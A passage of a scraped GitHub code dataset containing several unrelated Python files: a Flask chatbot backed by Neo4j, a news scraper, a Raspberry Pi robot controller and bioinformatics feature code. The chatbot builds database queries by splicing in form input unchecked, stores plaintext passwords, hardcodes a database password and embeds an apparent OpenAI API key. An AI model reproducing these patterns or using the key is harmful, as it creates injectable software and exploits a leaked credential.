\"should\", \"has\", \"have\", \"whom\", \"whose\", \"don't\"]\n#for web scrapping\ndef is_google(text):\n user_query = text\n print(user_query)\n URL = 'https://www.google.com/search?q=' + user_query\n headers = {\n 'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36'\n }\n page = requests.get(URL, headers=headers)\n wiki_page = BeautifulSoup(page.content, 'html.parser')\n try:\n all_paragraph = wiki_page.find(class_='Z0LcW t2b5Cf').getText()\n return all_paragraph\n\n except Exception:\n doc = nlp(user_query)\n nounfind = [token.lemma_ for token in doc if token.pos_ == \"NOUN\"]\n PRnounfind = [token.lemma_ for token in doc if token.pos_ == \"PROPN\"]\n if nounfind:\n noun = nounfind[0]\n print(type(nounfind))\n url = f'https://en.wikipedia.org/wiki/{noun}'\n wikpage = requests.get(url)\n p_page = BeautifulSoup(wikpage.text, 'html.parser')\n all_pg = p_page.find_all('p')\n fp = all_pg[1]\n return fp.text\n print(fp)\n elif PRnounfind:\n print(PRnounfind)\n ppnoun = PRnounfind[0]\n url = f'https://en.wikipedia.org/wiki/{ppnoun}'\n wikpage = requests.get(url)\n p_page = BeautifulSoup(wikpage.text, 'html.parser')\n all_pg = p_page.find_all('p')\n fp = all_pg[1]\n return fp.text\n print(fp)\n else:\n return (\"Sorry I dont know\")\n\ndef episodic_memory(user, bot, s_analysis):\n i = 0\n j = 0\n\n q = \"\"\"MATCH (n:Person) - [HAS]->(m) WHERE n.email = $useremail RETURN m.session_count\"\"\"\n counter = graph.run(q, useremail = z).data()\n print(type(counter))\n counting = counter[0]\n print(counting)\n counterr = counting.get('m.session_count')\n counterr = counterr+1\n episodes = \"episode\" + str(counterr)\n\n ep = {\n\n }\n chat = {\n\n \"human\" + str(i) : user,\n \"Bot\" + str(i) : bot,\n \"emotion\" : s_analysis\n }\n i=i+1\n j = j+1\n interaction_count = \"interaction_count\" + str(j)\n ep[interaction_count] = chat\n epp = json.dumps(ep)\n q = \"\"\"MATCH (n:Person) - [HAS]->(m) WHERE n.email = $useremail SET m.{} = $sc RETURN m\"\"\".format(episodes)\n ep_memory = graph.run(q, useremail= z, sc = epp)\n q = \"\"\"MATCH (n:Person) - [HAS]->(m) WHERE n.email = $useremail SET m.session_count = $sc RETURN m\"\"\".format(ep)\n ep_memory = graph.run(q, useremail=z, sc=counterr)\n\n#for openai\n\"\"\"def is_unknown(text):\n openai.api_key = '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'\n messages = [\n { \"role\": \"system\", \"content\": \"You are a kind helpful assistant\"},\n ]\n message = text\n if message:\n messages.append(\n {\n \"role\": \"user\", \"content\": message},\n )\n chat = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\", messsages = messages\n )\n reply = chat.choices[0].message.content\n #print(f\"chatgpt: {reply}\")\n messages.append({\"role\": \"assistant\", \"content\": reply})\n return reply\n\"\"\"\n#for social networking\ndef is_social(socialnetwork,email):\n\n relation = graph.run(f\"MATCH (n:Person),(m:Person) WHERE n.ip = \\\"{ip_address}\\\" and n.email <> \\\"{email}\\\" and m.ip = \\\"{ip_address}\\\" and m.email = \\\"{email}\\\" CREATE (n)-[r:related]->(m) RETURN r\")\n print(relation)\n\ndef original_sent(text):\n nlpt = TextBlob(text)\n print(\"original\", nlpt)\n modified = nlpt.correct()\n print(\"modified\", modified)\n return modified\n\ndef is_sentimental(text):\n blob = TextBlob(text)\n sentimental = blob.sentiment.polarity # -1 to 1\n print(sentimental)\n return sentimental\n\n@app.route(\"/\")\ndef login():\n return render_template(\"sign-in.html\")\n\n\n@app.route(\"/register\")\ndef register():\n return render_template(\"registration.html\")\n\n\n@app.route(\"/home\")\ndef home():\n return render_template(\"home.html\")\n\n\n@app.route(\"/get\")\ndef get_bot_response():\n Bot = Kernel()\n for name in glob(\"profiles.aiml\"):\n Bot.learn_aiml(name)\n while True:\n query = request.args.get('msg')\n #user = str(original_sent(query))\n user = query\n question = user.lower()\n question = word_tokenize(question)\n if any(x in question[0] for x in question_words):\n print(\"This is a question!\")\n else:\n print(\"This is not a question!\")\n #sentimental analysis\n senty = is_sentimental(user)\n\n response = Bot.respond(user, 'User1')\n\n if response == \"unknown\":\n response = is_google(user)\n\n print('<Bot>', response)\n episodic_memory(query, response, senty)\n if response:\n return (str(response))\n else:\n return (str(\":)\"))\n\n\n@app.route('/', methods=['POST', 'DELETE'])\ndef getvalue():\n username = request.form.get('username')\n email = request.form.get('email')\n pass1 = request.form.get('pass1')\n graph = Graph(password=\"12345678\")\n n = graph.run(f\"CREATE (n:Person {{name: \\\"{username}\\\", email: \\\"{email}\\\", password: {pass1}, ip: \\\"{ip_address}\\\"}}) RETURN n\")\n m = \"\"\" CREATE (m:memory{name:\"memory\", email : $z, session_count : 0}) RETURN m\"\"\"\n graph.run(m, z=email)\n memory = \"\"\" MATCH (n:Person), (m:memory) WHERE n.email = $e AND m.email = $e1 CREATE (n)-[r:HAS]->(m) RETURN r \"\"\"\n graph.run(memory, e = email, e1 = email)\n return render_template(\"sign-in.html\")\n\n\n@app.route('/gett', methods=['POST', 'DELETE'])\ndef gettingvalue():\n global y\n global z\n email = request.form.get('email')\n pass1 = request.form.get('pass1')\n graph = Graph(password=\"12345678\")\n # result = graph.run(\"MATCH (n:Person) RETURN n\")\n result = graph.run(f\"MATCH (n:Person) WHERE n.email = \\\"{email}\\\" and n.password = {pass1} RETURN n\").data()\n # convert it into list\n social = result.copy()\n social = str(social)\n socialnetwork = social\n y = socialnetwork\n z = email\n\n if len(result) == 0:\n print(\"unmatched\")\n return render_template(\"sign-in.html\")\n else:\n print(\"matched\")\n return render_template(\"home.html\")\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"Wajieeha/chatterbox","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35873494773","text":"import requests\nfrom bs4 import BeautifulSoup\nimport csv\n\nwith open('chinadaily2.csv', mode='w', encoding='utf-8', newline='') as csv_file:\n fieldnames = ['Title', 'Link', 'Content']\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n\n for i in range(1, 2):\n url = f\"https://www.chinadaily.com.cn/china/governmentandpolicy/page_{i}.html\"\n response = requests.get(url)\n soup = BeautifulSoup(response.content, 'html.parser')\n articles = soup.find_all('div', class_=\"mb10 tw3_01_2\")\n # Extract title and link\n for article in articles:\n title_link = article.find('h4').find('a')\n title = title_link.text.strip()\n link = title_link['href'].lstrip('/')\n content_response = requests.get(f\"http://{link}\")\n content_soup = BeautifulSoup(content_response.content, 'html.parser')\n content_div = content_soup.find('div', id='Content')\n if content_div:\n paragraphs = content_div.find_all('p')\n content = []\n for p in paragraphs:\n content.append(p.get_text())\n else:\n content = [\"Content not found.\"]\n\n # Write row to CSV\n writer.writerow({'Title': title, 'Link': link, 'Content': '\\n'.join(content)})","repo_name":"sa2006026/Webcrawler","sub_path":"China daily.py","file_name":"China daily.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2639230725","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time\nimport threading\nimport gi\nfrom gi.repository import GObject ,GLib#, Gtk \nimport xmlrpc.client\nfrom xmlrpc.server import SimpleXMLRPCServer\nimport os\n\nfrom multiprocessing import Process, Queue\nimport cv2\n\n\nimport numpy as np\nimport base64\nimport zmq\n\nimport serial\n\n#FORMAT = rpicam.FORMAT_MJPEG\nWIDTH, HEIGHT = 640, 360\nRESOLUTION = (WIDTH, HEIGHT)\nFRAMERATE = 10\n\nIP = '10.42.0.1' #пульт\nRTP_PORT = 5000 #порт отправки RTP видео\nDEBUG_PORT = 8000 #порт отправки отладочных кадров XML-RPC\nCONTROL_PORT = 9000 #порт XML-RPC управления роботом\n\nclass ArdHandler():\n def __init__(self, func=None):\n self._setter = func\n #self.ser = serial.Serial('/dev/ttyACM0', 9600)\n self.ser = serial.Serial('/dev/ttyACM0', 9600)\n self.queue = Queue()\n self.mainLoop = GLib.MainLoop()\n self.config()\n\n def config(self):\n buff = ser.readline()\n\n def writeCommand(self, data1, data2, data3):\n count_1 = int(data3 / 100)\n count_2 = int(data3 % 100 / 10)\n count_3 = data3 % 10\n self.ser.write(bytes(str(data1), encoding = 'UTF-8'))\n self.ser.write(bytes(str(data2), encoding = 'UTF-8'))\n self.ser.write(bytes(str(count_1), encoding = 'UTF-8'))\n self.ser.write(bytes(str(count_2), encoding = 'UTF-8'))\n self.ser.write(bytes(str(count_3), encoding = 'UTF-8'))\n\ndef VideoStreaming(queue):\n cap = cv2.VideoCapture(0)\n _stopped = False\n context = zmq.Context()\n footage_socket = context.socket(zmq.PUB)\n footage_socket.connect('tcp://10.42.0.1:60000')\n recv_sock = context.socket(zmq.SUB)\n recv_sock.bind('tcp://10.42.0.154:6000')\n recv_sock.setsockopt_string(zmq.SUBSCRIBE, np.unicode(''))\n \n while not _stopped:\n if not queue.empty():\n _stopped = True\n footage_socket.send(b'0123456789')\n _ = recv_sock.recv_string()\n else: \n ret, frame = cap.read()\n if ret:\n encoded, buffer = cv2.imencode('.jpg', frame)\n jpg_as_text = base64.b64encode(buffer)\n footage_socket.send(jpg_as_text)\n\n _ = recv_sock.recv_string()\n print(\"VideoStreaming stopped\")\n\n# проверка доступности камеры, возвращает True, если камера доступна в системе\ndef checkCamera():\n res = os.popen('vcgencmd get_camera').readline().replace('\\n','') #читаем результат, удаляем \\n\n dct = {}\n for param in res.split(' '): #разбираем параметры\n tmp = param.split('=')\n dct.update({tmp[0]: tmp[1]}) #помещаем в словарь\n return (dct['supported'] and dct['detected'])\n\ndef getIP():\n #cmd = 'hostname -I | cut -d\\' \\' -f1'\n #ip = subprocess.check_output(cmd, shell = True) #получаем IP\n res = os.popen('hostname -I | cut -d\\' \\' -f1').readline().replace('\\n','') #получаем IP, удаляем \\n\n return res\n \nardHandler = None\n\ndef comRecv(command): # драйверы иногда проседают, поэтому пришлось написаткостыль\n data1 = 1\n data2 = 0\n data3 = 0\n for com in command.split(\"/\"):\n if com == \"drive\": data1 = 1\n elif com == \"cam\": data1 = 0\n elif com == \"ahead\": data2 = 1\n elif com == \"backward\": data2 = 2\n elif com == \"left\": data2 = 3\n elif com == \"right\": data2 = 4\n elif com == \"LEFT\": data2 = 2\n elif com == \"RIGHT\": data2 = 1\n elif com == \"up\": data3 = 1\n elif com == \"down\": data3 = 2\n elif com.isdigit(): data3 = int(com)\n print(data3)\n ardHandler.writeCommand(data1, data2, data3)\n return 0\n\ndef stopStreaming():\n ardHandler.queue.put(1)\n ardHandler.mainLoop.quit()\n return 0\n\nprint('Start program')\n\nassert checkCamera(), 'Raspberry Pi camera not found'\nprint('Raspberry Pi camera found')\n\n# Получаем свой IP адрес\nip = getIP()\nassert ip != '', 'Invalid IP address'\nprint('Robot IP address: %s' % ip)\n\nprint('OpenCV version: %s' % cv2.__version__)\n\nprint('initiating Serial communication with Arduino')\ntry:\n ser = serial.Serial('/dev/ttyACM0', 9600, timeout=1)\n print('--conneced sucsesfuly')\nexcept:\n print('--cant connected to arduino(')\n\n\n#нужно для корректной работы системы\n\nardHandler = ArdHandler()\npr = Process(target=VideoStreaming, args=(ardHandler.queue,))\npr.start()\n\n# XML-RPC сервер управления в отдельном потоке\nserverControl = SimpleXMLRPCServer((ip, CONTROL_PORT)) #запуск XMLRPC сервера\nserverControl.logRequests = False #оключаем логирование\nprint('Control XML-RPC server listening on %s:%d' % (ip, CONTROL_PORT))\n\n# register our functions\nserverControl.register_function(comRecv)\nserverControl.register_function(stopStreaming)\n\n#запускаем сервер в отдельном потоке\nserverControlThread = threading.Thread(target = serverControl.serve_forever)\nserverControlThread.daemon = True\nserverControlThread.start()\n\n#главный цикл программы \n#\ntry:\n ardHandler.mainLoop.run()\nexcept (KeyboardInterrupt, SystemExit):\n print('Ctrl+C pressed')\n \n#останов сервера\nserverControl.server_close()\n\n \nprint('Program over...')\n\n\n","repo_name":"rbtCreator/FirstAttempt","sub_path":"wheel_platform/RPi/board2.py","file_name":"board2.py","file_ext":"py","file_size_in_byte":5535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2842602799","text":"import numpy as np\r\nimport random\r\nfrom numpy import linalg\r\nfrom scipy.linalg import eigh\r\ndef read_txt1(path):\r\n with open(path, 'r', newline='') as txt_file:\r\n md_data = []\r\n reader = txt_file.readlines()\r\n for row in reader:\r\n line = row.split( )\r\n row = []\r\n for k in line:\r\n row.append(int(float(k)))\r\n md_data.append(row)\r\n md_data = np.array(md_data)\r\n return md_data\r\ndef get_balance_samples(A): # return the same number of negative samples and postive samples, and all the negative samples\r\n m,n = A.shape\r\n pos = []\r\n neg = []\r\n temp_neg_row = []\r\n for i in range(m):\r\n pos_row_n = 0\r\n for j in range(n):\r\n if A[i,j] ==1:\r\n pos_row_n = pos_row_n+1\r\n pos.append([i,j,1])\r\n else:\r\n temp_neg_row.append([i,j,0])\r\n neg_row = random.sample(temp_neg_row, pos_row_n)\r\n neg = neg + neg_row\r\n n = len(pos)\r\n neg_new = random.sample(neg, n)\r\n tep_samples = pos + neg_new\r\n samples = random.sample(tep_samples, len(tep_samples))\r\n samples = random.sample(samples, len(samples))\r\n samples = np.array(samples)\r\n np.random.shuffle(samples)\r\n return samples\r\n\r\n\r\ndef update_Adjacency_matrix (A, test_samples):\r\n m = test_samples.shape[0]\r\n A_tep = A.copy()\r\n for i in range(m):\r\n if test_samples[i,2] ==1:\r\n #print(\"index\", test_samples[i,0], test_samples[i,1] )\r\n A_tep [int(test_samples[i,0]), int(test_samples[i,1])] = 0\r\n return A_tep\r\n\r\n\r\ndef GIP_kernel (Asso_RNA_Dis):\r\n # the number of row\r\n nc = Asso_RNA_Dis.shape[0]\r\n #initate a matrix as result matrix\r\n matrix = np.zeros((nc, nc))\r\n # calculate the down part of GIP fmulate\r\n r = getGosiR(Asso_RNA_Dis)\r\n #calculate the result matrix\r\n for i in range(nc):\r\n for j in range(nc):\r\n #calculate the up part of GIP formulate\r\n temp_up = np.square(np.linalg.norm(Asso_RNA_Dis[i,:] - Asso_RNA_Dis[j,:]))\r\n if r == 0:\r\n matrix[i][j]=0\r\n elif i==j:\r\n matrix[i][j] = 1\r\n else:\r\n matrix[i][j] = np.e**(-temp_up/r)\r\n return matrix\r\ndef getGosiR (Asso_RNA_Dis):\r\n# calculate the r in GOsi Kerel\r\n nc = Asso_RNA_Dis.shape[0]\r\n summ = 0\r\n for i in range(nc):\r\n x_norm = np.linalg.norm(Asso_RNA_Dis[i,:])\r\n x_norm = np.square(x_norm)\r\n summ = summ + x_norm\r\n r = summ / nc\r\n return r\r\n\r\ndef get_feature_label(new_matrix, train_samples, test_samples, k):\r\n m= train_samples.shape[0]\r\n n= test_samples.shape[0]\r\n print(\"m,n\", m, n)\r\n h, v = new_matrix.shape\r\n\r\n new_matrix_T = new_matrix.transpose()\r\n if k==1:\r\n train_fea = np.zeros([m, h+v])\r\n train_y = np.zeros([m])\r\n test_fea = np.zeros([n, h+v])\r\n test_y = np.zeros([n])\r\n for i in range(m):\r\n train_fea[i,:] =np.hstack((new_matrix[train_samples[i,0], :], new_matrix_T[train_samples[i, 1], :]))\r\n train_y[i] = train_samples[i,2]\r\n for i in range(n):\r\n test_fea[i,:] = np.hstack((new_matrix[test_samples[i,0], :], new_matrix_T[test_samples[i, 1],:]))\r\n test_y[i] = test_samples[i,2]\r\n elif k ==0:\r\n k1 = 50\r\n k2 = 37\r\n sim_m, sim_d = get_syn_sim(new_matrix, k1, k2)\r\n print(\"the maxmum of sim network\", np.max(np.max(sim_m, axis=0)), \"the minimum of sim network\",\r\n np.min(np.min(sim_m, axis=0)))\r\n print(\"the maxmum of simd network\", np.max(np.max(sim_d, axis=0)), \"the minimum of simd network\",\r\n np.min(np.min(sim_d, axis=0)))\r\n m_m = change_sim_to_associa(sim_m, 1) # miRNA_miRNA association\r\n d_d = change_sim_to_associa(sim_d, 1) # disease_disease association\r\n train_fea = np.zeros([m, 2*(h + v)])\r\n train_y = np.zeros([m])\r\n test_fea = np.zeros([n, 2*(h + v)])\r\n test_y = np.zeros([n])\r\n for i in range(m):\r\n temp1 = np.hstack((new_matrix[train_samples[i, 0], :], new_matrix_T[train_samples[i, 1], :]))\r\n temp = np.hstack((m_m[train_samples[i,0],:], d_d[train_samples[i,1], :]))\r\n train_fea[i, :] = np.hstack((temp1, temp))\r\n train_y[i] = train_samples[i, 2]\r\n print(\"train_fea shape\", train_fea.shape)\r\n for i in range(n):\r\n temp_t1 = np.hstack((new_matrix[test_samples[i, 0], :], new_matrix_T[test_samples[i, 1], :]))\r\n temp_t = np.hstack((m_m[test_samples[i, 0], :], d_d[test_samples[i, 1], :]))\r\n test_fea[i, :] = np.hstack((temp_t1, temp_t))\r\n test_y[i] = test_samples[i, 2]\r\n\r\n elif k==2:\r\n train_fea = np.zeros([m, 2])\r\n train_y = np.zeros([m])\r\n test_fea = np.zeros([n, 2])\r\n test_y = np.zeros([n])\r\n for i in range(m):\r\n train_fea[i, 0] = train_samples[i, 0]\r\n train_fea[i, 1] = h + train_samples[i, 1]\r\n train_y[i] = train_samples[i, 2]\r\n for i in range(n):\r\n test_fea[i, 0] = test_samples[i, 0]\r\n test_fea[i, 1] = h + test_samples[i, 1]\r\n test_y[i] = test_samples[i, 2]\r\n elif k==3:\r\n k1 = 50\r\n k2 = 37\r\n sim_m, sim_d = get_syn_sim(new_matrix, k1, k2)\r\n train_fea = np.zeros([m, 2 + (h + v)])\r\n train_y = np.zeros([m])\r\n test_fea = np.zeros([n, 2 + (h + v)])\r\n test_y = np.zeros([n])\r\n for i in range(m):\r\n train_fea[i, 0] = train_samples[i, 0]\r\n train_fea[i, 1] = h + train_samples[i, 1]\r\n train_y[i] = train_samples[i, 2]\r\n for i in range(n):\r\n test_fea[i, 0] = test_samples[i, 0]\r\n test_fea[i, 1] = h + test_samples[i, 1]\r\n test_y[i] = test_samples[i, 2]\r\n\r\n train_fea[i, 2:(2 + (h + v))] = np.hstack((sim_m[train_samples[i, 0], :],\r\n sim_d[train_samples[i, 1], :]))\r\n\r\n train_fea[i, 2:(2 + (h + v))] = np.hstack((sim_m[test_samples[i, 0], :],\r\n sim_d[test_samples[i, 1], :]))\r\n\r\n elif k==4: #the combination of 1 and 2\r\n train_fea = np.zeros([m, 2+h + v])\r\n train_y = np.zeros([m])\r\n test_fea = np.zeros([n, 2+h + v])\r\n test_y = np.zeros([n])\r\n for i in range(m):\r\n train_fea[i, 0] = train_samples[i, 0]\r\n train_fea[i, 1] = h + train_samples[i, 1]\r\n train_fea[i, 2:(2+h+v)] = np.hstack((new_matrix[train_samples[i, 0], :], new_matrix_T[train_samples[i, 1], :]))\r\n train_y[i] = train_samples[i, 2]\r\n for i in range(n):\r\n test_fea[i, 0] = test_samples[i, 0]\r\n test_fea[i, 1] = h + test_samples[i, 1]\r\n test_fea[i, 2:(2+h+v)] = np.hstack((new_matrix[test_samples[i, 0], :], new_matrix_T[test_samples[i, 1], :]))\r\n test_y[i] = test_samples[i, 2]\r\n y_train_ = array_list(train_y)\r\n\r\n return train_fea, y_train_, test_fea, test_y\r\n\r\n\r\ndef get_feature_label1(new_matrix, train_samples, test_samples, mic_lnc, lnc_dis, k):\r\n\r\n m= train_samples.shape[0]\r\n n= test_samples.shape[0]\r\n print(\"m,n\", m, n)\r\n h, v = new_matrix.shape\r\n new_matrix_T = new_matrix.transpose()\r\n z = lnc_dis.shape[0]\r\n train_y = np.zeros([m])\r\n test_y = np.zeros([n])\r\n if k ==5:\r\n train_fea = np.zeros([m, 2 + h + v + z])\r\n test_fea = np.zeros([n, 2 + h + v + z])\r\n for i in range(m):\r\n train_fea[i, 0] = train_samples[i, 0]\r\n train_fea[i, 1] = h + train_samples[i, 1]\r\n train_fea[i, 2:(2+h+v)] = np.hstack((new_matrix[train_samples[i, 0], :], new_matrix_T[train_samples[i, 1], :]))\r\n mic_c = mic_lnc[train_samples[i, 0],:]\r\n dis_c = lnc_dis[:,train_samples[i, 1]]\r\n #1 is mic=0 and dis =0, 2 is mic = 1, dis =0, 3 is mic =0, dis = 1, 4 is mic=1, dis = 1\r\n lnc_ass = np.zeros([z])\r\n for j in range(z):\r\n if mic_c[j] == 0 and dis_c[j] ==0:\r\n lnc_ass[j] =1\r\n elif mic_c[j] ==1 and dis_c[j] ==0:\r\n lnc_ass[j] =2\r\n elif mic_c[j] ==0 and dis_c[j] ==1:\r\n lnc_ass[j] == 3\r\n elif mic_c[j] ==1 and dis_c[j] ==1:\r\n lnc_ass[j] =4\r\n train_fea[i, (2 + h + v):(2+h+v+z)] = lnc_ass\r\n train_y[i] = train_samples[i, 2]\r\n for i in range(n):\r\n test_fea[i, 0] = test_samples[i, 0]\r\n test_fea[i, 1] = h + test_samples[i, 1]\r\n test_fea[i, 2:(2+h+v)] = np.hstack((new_matrix[test_samples[i, 0], :], new_matrix_T[test_samples[i, 1], :]))\r\n mic_c = mic_lnc[test_samples[i, 0],:]\r\n dis_c = lnc_dis[:,test_samples[i, 1]]\r\n lnc_ass = np.zeros([z])\r\n for j in range(z):\r\n if mic_c[j] ==0 and dis_c[j] ==0:\r\n lnc_ass[j] =1\r\n elif mic_c[j] ==1 and dis_c[j] ==0:\r\n lnc_ass[j] =2\r\n elif mic_c[j] ==0 and dis_c[j] ==1:\r\n lnc_ass[j] = 3\r\n elif mic_c[j] ==1 and dis_c[j] ==1:\r\n lnc_ass[j] =4\r\n test_fea[i, (2 + h + v):(2+h+v+z)] = lnc_ass\r\n test_y[i] = test_samples[i, 2]\r\n elif k ==6:\r\n for i in range(m):\r\n train_fea = np.zeros([m, 2 + h + v + 2*z])\r\n test_fea = np.zeros([n, 2 + h + v + 2*z])\r\n train_fea[i, 0] = train_samples[i, 0]\r\n train_fea[i, 1] = h + train_samples[i, 1]\r\n train_fea[i, 2:(2 + h + v)] = np.hstack(\r\n (new_matrix[train_samples[i, 0], :], new_matrix_T[train_samples[i, 1], :]))\r\n mic_c = mic_lnc[train_samples[i, 0], :]\r\n dis_c = lnc_dis[:, train_samples[i, 1]]\r\n dis_c1 = dis_c.transpose()\r\n # 1 is mic=0 and dis =0, 2 is mic = 1, dis =0, 3 is mic =0, dis = 1, 4 is mic=1, dis = 1\r\n train_fea[i, (2 + h + v):(2 + h + v + 2*z)] = np.hstack((mic_c, dis_c1))\r\n train_y[i] = train_samples[i, 2]\r\n for i in range(n):\r\n test_fea[i, 0] = test_samples[i, 0]\r\n test_fea[i, 1] = h + test_samples[i, 1]\r\n test_fea[i, 2:(2 + h + v)] = np.hstack(\r\n (new_matrix[test_samples[i, 0], :], new_matrix_T[test_samples[i, 1], :]))\r\n mic_c = mic_lnc[test_samples[i, 0], :]\r\n dis_c = lnc_dis[:, test_samples[i, 1]]\r\n dis_c1 = dis_c.transpose()\r\n # 1 is mic=0 and dis =0, 2 is mic = 1, dis =0, 3 is mic =0, dis = 1, 4 is mic=1, dis = 1\r\n test_fea[i, (2 + h + v):(2 + h + v + 2*z)] = np.hstack((mic_c, dis_c1))\r\n test_y[i] = test_samples[i, 2]\r\n return train_fea, train_y, test_fea, test_y\r\n\r\ndef data_transform (train_fea, test_fea, k):#k as the same meaning of the upper function\r\n m,n = train_fea.shape\r\n m1, n1 = test_fea.shape\r\n print(\"n, n1\", n, n1)\r\n#for 01 as the feature of association with miRNA1\r\n if k ==1:\r\n train_xi = np.zeros([m,n])\r\n train_xv = np.ones([m,n])\r\n test_xi = np.zeros([m1,n1])\r\n test_xv = np.ones([m1,n1])\r\n for i in range(m):\r\n for j in range(n):\r\n train_xi[i,j] = 2*j+train_fea[i,j]\r\n for i in range(m1):\r\n for j in range(n1):\r\n test_xi[i,j] = 2*j+test_fea[i,j]\r\n elif k ==0:\r\n # get the miRNA-miRNA asso and disease-disease ass from similarity network\r\n n = int(n/2)\r\n n1 = int(n1/2)\r\n train_xi = np.zeros([m, n])\r\n train_xv = np.ones([m, n])\r\n test_xi = np.zeros([m1, n1])\r\n test_xv = np.ones([m1, n1])\r\n for i in range(m):\r\n for j in range(n):\r\n if train_fea[i, j] ==0 and train_fea[i, j+ n] ==0:\r\n train_xi[i,j] = 4*j\r\n elif train_fea[i,j] ==1 and train_fea[i, j+n] ==0:\r\n train_xi[i,j] = 4*j +1\r\n elif train_fea[i,j] ==0 and train_fea[i, j+n] ==1:\r\n train_xi[i,j] = 4*j +2\r\n elif train_fea[i,j] ==1 and train_fea[i,j+n] ==1:\r\n train_xi[i,j] = 4*j+3\r\n for i in range(m1):\r\n for j in range(n1):\r\n if test_fea[i, j] == 0 and test_fea[i, j + n] == 0:\r\n test_xi[i, j] = 4 * j\r\n elif test_fea[i, j] == 1 and test_fea[i, j + n] == 0:\r\n test_xi[i, j] = 4 * j + 1\r\n elif test_fea[i, j] == 0 and test_fea[i, j + n] == 1:\r\n test_xi[i, j] = 4 * j + 2\r\n elif test_fea[i, j] == 1 and test_fea[i, j + n] == 1:\r\n test_xi[i, j] = 4 * j + 3\r\n\r\n elif k==2: #only us a onehot miRNA and a one hot disease\r\n train_xi = np.zeros([m, 2])\r\n train_xv = np.ones([m, 2])\r\n test_xi = np.zeros([m1, 2])\r\n test_xv = np.ones([m1, 2])\r\n for i in range(m):\r\n for j in range(2):\r\n train_xi[i,j] = train_fea[i,j]\r\n for i in range(m1):\r\n for j in range(2):\r\n test_xi[i,j] = test_fea[i,j]\r\n elif k==3:\r\n train_xi = np.zeros([m, n])\r\n train_xv = train_fea\r\n test_xi = np.zeros([m1, n])\r\n test_xv = test_fea\r\n field2_l = max(max(train_fea[:, 1]), max(test_fea[:, 1]))\r\n for i in range(m):\r\n for j in range(n):\r\n if j<2:\r\n train_xi[i, j] = train_fea[i, j]\r\n train_xv[i,j] = 1\r\n else:\r\n train_xi[i, j] = field2_l + j - 1\r\n\r\n for i in range(m1):\r\n for j in range(n):\r\n if j<2:\r\n test_xi[i, j] = test_fea[i, j]\r\n test_xv[i,j] =1\r\n else:\r\n test_xi[i, j] = field2_l + j - 1\r\n elif k==4:\r\n train_xi = np.zeros([m, n])\r\n train_xv = np.ones([m, n])\r\n test_xi = np.zeros([m1, n1])\r\n test_xv = np.ones([m1, n1])\r\n for i in range(m):\r\n for j in range(n):\r\n if j <2:\r\n train_xi[i,j] = train_fea[i, j]\r\n else:\r\n train_xi[i, j] =n-2 + 2 * (j-2) + train_fea[i, j]\r\n for i in range(m1):\r\n for j in range(n1):\r\n if j<2:\r\n test_xi[i, j] = test_fea[i, j]\r\n else:\r\n test_xi[i, j] = n-2 + 2 * (j-2) + test_fea[i, j]\r\n\r\n Xi_train_ = array_list(train_xi)\r\n Xv_train_ = array_list(train_xv)\r\n Xi_valid_ = array_list(test_xi)\r\n Xv_valid_ = array_list(test_xv)\r\n return Xi_train_, Xv_train_, Xi_valid_, Xv_valid_\r\n\r\ndef data_transform1 (train_fea, test_fea, l_n, k ):#k as the same meaning of the upper function\r\n m, n = train_fea.shape\r\n m1, n1 = test_fea.shape\r\n train_xi = np.zeros([m, n])\r\n train_xv = np.ones([m, n])\r\n test_xi = np.zeros([m1, n1])\r\n test_xv = np.ones([m1, n1])\r\n if k ==5:\r\n for i in range(m):\r\n for j in range(n):\r\n if j < 2:\r\n train_xi[i, j] = train_fea[i, j]\r\n elif 2<=j< n-l_n:\r\n train_xi[i, j] = n - 2-l_n + 2 * (j - 2) + train_fea[i, j]\r\n else:\r\n train_xi[i,j] = 3*(n-2-l_n)+4*(j - (n-l_n)) + train_fea[i, j]\r\n\r\n for i in range(m1):\r\n for j in range(n1):\r\n if j < 2:\r\n test_xi[i, j] = test_fea[i, j]\r\n elif 2 <= j < n - l_n:\r\n test_xi[i, j] = n - 2 - l_n + 2 * (j - 2) + test_fea[i, j]\r\n else:\r\n test_xi[i, j] = 3 * (n - 2 - l_n) + 4 * (j - (n - l_n)) + test_fea[i, j]-1\r\n elif k ==6:\r\n for i in range(m):\r\n for j in range(n):\r\n if j < 2:\r\n train_xi[i, j] = train_fea[i, j]\r\n else:\r\n train_xi[i, j] = n - 2 - 2*l_n + 2 * (j - 2) + train_fea[i, j]\r\n\r\n for i in range(m1):\r\n for j in range(n1):\r\n if j < 2:\r\n test_xi[i, j] = test_fea[i, j]\r\n else:\r\n test_xi[i, j] = n - 2 - 2*l_n + 2 * (j - 2) + test_fea[i, j]\r\n\r\n return train_xi, train_xv, test_xi, test_xv\r\n\r\n\r\ndef array_list(arry):\r\n li = arry.tolist()\r\n return li\r\n\r\ndef get_lapl_matrix(sim):\r\n m,n = sim.shape\r\n lap_matrix_tep = np.zeros([m,m])\r\n for i in range(m):\r\n lap_matrix_tep[i,i] = np.sum(sim[i,:])\r\n lap_matrix = lap_matrix_tep - sim\r\n return lap_matrix, lap_matrix_tep\r\n\r\ndef get_initial_weights_by_manifold(k, sim_m, sim_d):\r\n\r\n m,m = sim_m.shape\r\n n,n = sim_d.shape\r\n lap_matx_m, lap_Dm = get_lapl_matrix(sim_m)\r\n lap_matx_d, lap_Dd = get_lapl_matrix(sim_d)\r\n # vu_m, vec_m = np.linalg.eig(lap_matx_m)# vu_m is the eig_value, and vec_m is the eig_vector of miRNAs\r\n # vu_d, vec_d = np.linalg.eig(lap_matx_d)\r\n vu_m, vec_m = eigh(lap_matx_m, lap_Dm)\r\n vu_d, vec_d = eigh(lap_matx_d, lap_Dd)\r\n vu_m_ind = np.argsort(vu_m)\r\n vu_d_ind = np.argsort(vu_d)\r\n m_embedding_w = np.zeros([m, k])\r\n 